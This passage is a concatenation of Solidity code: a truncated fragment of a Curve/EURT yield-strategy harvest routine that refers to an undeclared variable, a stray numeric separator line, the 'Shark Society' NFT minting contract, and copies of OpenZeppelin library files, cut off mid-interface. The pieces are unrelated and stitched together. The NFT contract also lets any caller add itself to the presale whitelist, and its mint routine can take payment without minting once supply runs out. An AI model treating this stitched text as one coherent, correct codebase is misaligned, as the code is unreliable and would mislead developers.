uint256 _stakedBal = stakedBalance();
if (_stakedBal > 0) {
proxy.harvest(gauge);
uint256 _crvBalance = crv.balanceOf(address(this));
if (_crvBalance > 0) {
uint256 _sendToVoter =
_crvBalance.mul(keepCRV).div(FEE_DENOMINATOR);
if (keepCRV > 0) {
crv.safeTransfer(voter, _sendToVoter);
}
uint256 _crvRemainder = _crvBalance.sub(_sendToVoter);
if (_crvRemainder > 0) {
_sell(_crvRemainder);
}
uint256 _eurtBalance = 0;
if (_wethBalance > 0) {
_eurtBalance = _sellWethForEurt(_wethBalance);
}
if (_eurtBalance > 0) {
curve.add_liquidity([0, _eurtBalance], 0);
}
}
}
if (_debtOutstanding > 0) {
if (_stakedBal > 0) {
proxy.withdraw(
gauge,
address(want),
Math.min(_stakedBal, _debtOutstanding)
);
}
uint256 _withdrawnBal = balanceOfWant();
_debtPayment = Math.min(_debtOutstanding, _withdrawnBal);
}
uint256 debt = vault.strategies(address(this)).totalDebt;
if (assets > debt) {
_profit = assets.sub(debt);
uint256 _wantBal = balanceOfWant();
if (_profit.add(_debtPayment) > _wantBal) {
liquidateAllPositions();
}
}
else {
_loss = debt.sub(assets);
}
}
| 6,670,119 |
// SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
pragma solidity ^0.8.0;
/**
* @title Shark Society contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract SharkSociety is ERC721, ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
string public PROVENANCE;
uint256 public constant MAX_TOKENS = 5000;
uint256 public constant MAX_TOKENS_PLUS_ONE = 5001;
uint256 public sharkPrice = 0.04 ether;
uint256 public presaleSharkPrice = 0.03 ether;
uint public constant maxSharksPlusOne = 6;
uint public constant maxOwnedPlusOne = 9;
uint public constant maxForPresalePlusOne = 3;
bool public saleIsActive = false;
// Metadata base URI
string public metadataBaseURI;
// Whitelist and Presale
mapping(address => bool) Whitelist;
bool public presaleIsActive = false;
/**
@param name - Name of ERC721 as used in openzeppelin
@param symbol - Symbol of ERC721 as used in openzeppelin
@param provenance - The sha256 string of concatenated sha256 of all images in their natural order - AKA Provenance.
@param baseUri - Base URI for token metadata
*/
constructor(string memory name,
string memory symbol,
string memory provenance,
string memory baseUri) ERC721(name, symbol) {
PROVENANCE = provenance;
metadataBaseURI = baseUri;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(0x4d7183Eb8A51FE8803c8c38Bf989E659Bd4536AA).transfer(balance.mul(100).div(1000));
payable(0x8A7fA1106068DD75427525631b086208884111a5).transfer(balance.mul(200).div(1000));
payable(0x0Cf7d58A50d5b3683Fd38c9f3934723DeC75A3c0).transfer(balance.mul(240).div(1000));
payable(0xfc9DA6Edc4ABB3f3E4Ec2AD5B606514Ce1DE0dA4).transfer(balance.mul(280).div(1000));
payable(0xC68b81FBDff9587c3a024e7179a29329Ee9c1C8e).transfer(balance.mul(140).div(1000));
payable(0xC3B964D1DFD77f1d7294EAC29243bEFc3C9DE0e5).transfer(balance.mul(15).div(1000));
payable(0x91c3f3Dc5ed67b11cacd74Faf35dE50ff766A30E).transfer(balance.mul(15).div(1000));
payable(0x38dE2236b854A8E06293237AeFaE4FDa94b2a2c3).transfer(balance.mul(10).div(1000));
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
/**
* Reserve Sharks for future marketing and the team
*/
function reserveSharks(uint256 amount, address to) public onlyOwner {
uint supply = totalSupply();
require(supply.add(amount) < MAX_TOKENS_PLUS_ONE, "Reserving would exceed supply.");
uint i;
for (i = 0; i < amount; i++) {
_safeMint(to, supply + i);
}
}
/*
* Set provenance hash - just in case there is an error
* Provenance hash is set in the contract construction time,
* ideally there is no reason to ever call it.
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
PROVENANCE = provenanceHash;
}
/**
* @dev Pause sale if active, activate if paused
*/
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
/**
* @dev Pause presale if active, activate if paused
*/
function flipPresaleState() public onlyOwner {
presaleIsActive = !presaleIsActive;
}
/**
* @dev Adds addresses to the whitelist
*/
function addToWhitelist(address[] calldata addrs) external onlyOwner {
for (uint i=0; i<addrs.length; i++) {
Whitelist[addrs[i]] = true;
}
}
/**
* @dev Removes addresses from the whitelist
*/
function removeFromWhitelist(address[] calldata addrs) external onlyOwner {
for (uint i=0; i<addrs.length; i++) {
Whitelist[addrs[i]] = false;
}
}
function registerForPresale() external {
require(!presaleIsActive, "The presale has already begun!");
Whitelist[msg.sender] = true;
}
/**
* @dev Checks if an address is in the whitelist
*/
function isAddressInWhitelist(address addr) public view returns (bool) {
return Whitelist[addr];
}
/**
* @dev Checks if the sender's address is in the whitelist
*/
function isSenderInWhitelist() public view returns (bool) {
return Whitelist[msg.sender];
}
/**
* @dev Sets the mint price
*/
function setPrice(uint256 price) external onlyOwner {
require(price > 0, "Invalid price.");
sharkPrice = price;
}
/**
* @dev Sets the mint price
*/
function setPresalePrice(uint256 price) external onlyOwner {
require(price > 0, "Invalid price.");
presaleSharkPrice = price;
}
/**
* @dev Sets the Base URI for computing {tokenURI}.
*/
function setMetadataBaseURI(string memory newURI) public onlyOwner {
metadataBaseURI = newURI;
}
/**
* @dev Returns the tokenURI if exists.
* See {IERC721Metadata-tokenURI} for more details.
*/
function tokenURI(uint256 tokenId) public view virtual override(ERC721) returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory sequenceId = tokenId.toString();
return bytes(metadataBaseURI).length > 0 ? string( abi.encodePacked(metadataBaseURI, sequenceId) ) : "";
}
/**
* @dev Returns the base URI. Overrides empty string returned by base class.
* Unused because we override {tokenURI}.
* Included for completeness-sake.
*/
function _baseURI() internal view override(ERC721) returns (string memory) {
return metadataBaseURI;
}
/**
* @dev Returns the base URI. Public facing method.
* Included for completeness-sake and folks that want just the base.
*/
function baseURI() public view returns (string memory) {
return _baseURI();
}
/**
* @dev Actual function that performs minting
*/
function _mintSharks(uint numberOfTokens, address sender) internal {
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_TOKENS) {
_safeMint(sender, mintIndex);
}
}
}
/**
* @dev Mints Sharks
* Ether value sent must exactly match.
*/
function mintSharks(uint numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint Sharks.");
require(numberOfTokens < maxSharksPlusOne, "Can only mint 5 Sharks at a time.");
require(balanceOf(msg.sender).add(numberOfTokens) < maxOwnedPlusOne , "Purchase would exceed presale limit of 8 Sharks per address.");
require(totalSupply().add(numberOfTokens) < MAX_TOKENS_PLUS_ONE, "Purchase would exceed max supply of Sharks.");
require(sharkPrice.mul(numberOfTokens) == msg.value, "Ether value sent is not correct.");
_mintSharks(numberOfTokens, msg.sender);
}
/**
* @dev Mints Sharks during the presale.
* Ether value sent must exactly match -
* and only addresses in {Whitelist} are allowed to participate in the presale.
*/
function presaleMintSharks(uint numberOfTokens) public payable {
require(presaleIsActive && !saleIsActive, "Presale is not active.");
require(isSenderInWhitelist(), "Your address is not in the whitelist.");
require(balanceOf(msg.sender).add(numberOfTokens) < maxForPresalePlusOne, "Purchase would exceed presale limit of 2 Sharks per address.");
require(totalSupply().add(numberOfTokens) <= MAX_TOKENS, "Purchase would exceed max supply of Sharks.");
require(presaleSharkPrice.mul(numberOfTokens) == msg.value, "Ether value sent is not correct.");
_mintSharks(numberOfTokens, msg.sender);
}
/**
* @dev Do not allow renouncing ownership
*/
function renounceOwnership() public override(Ownable) onlyOwner {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
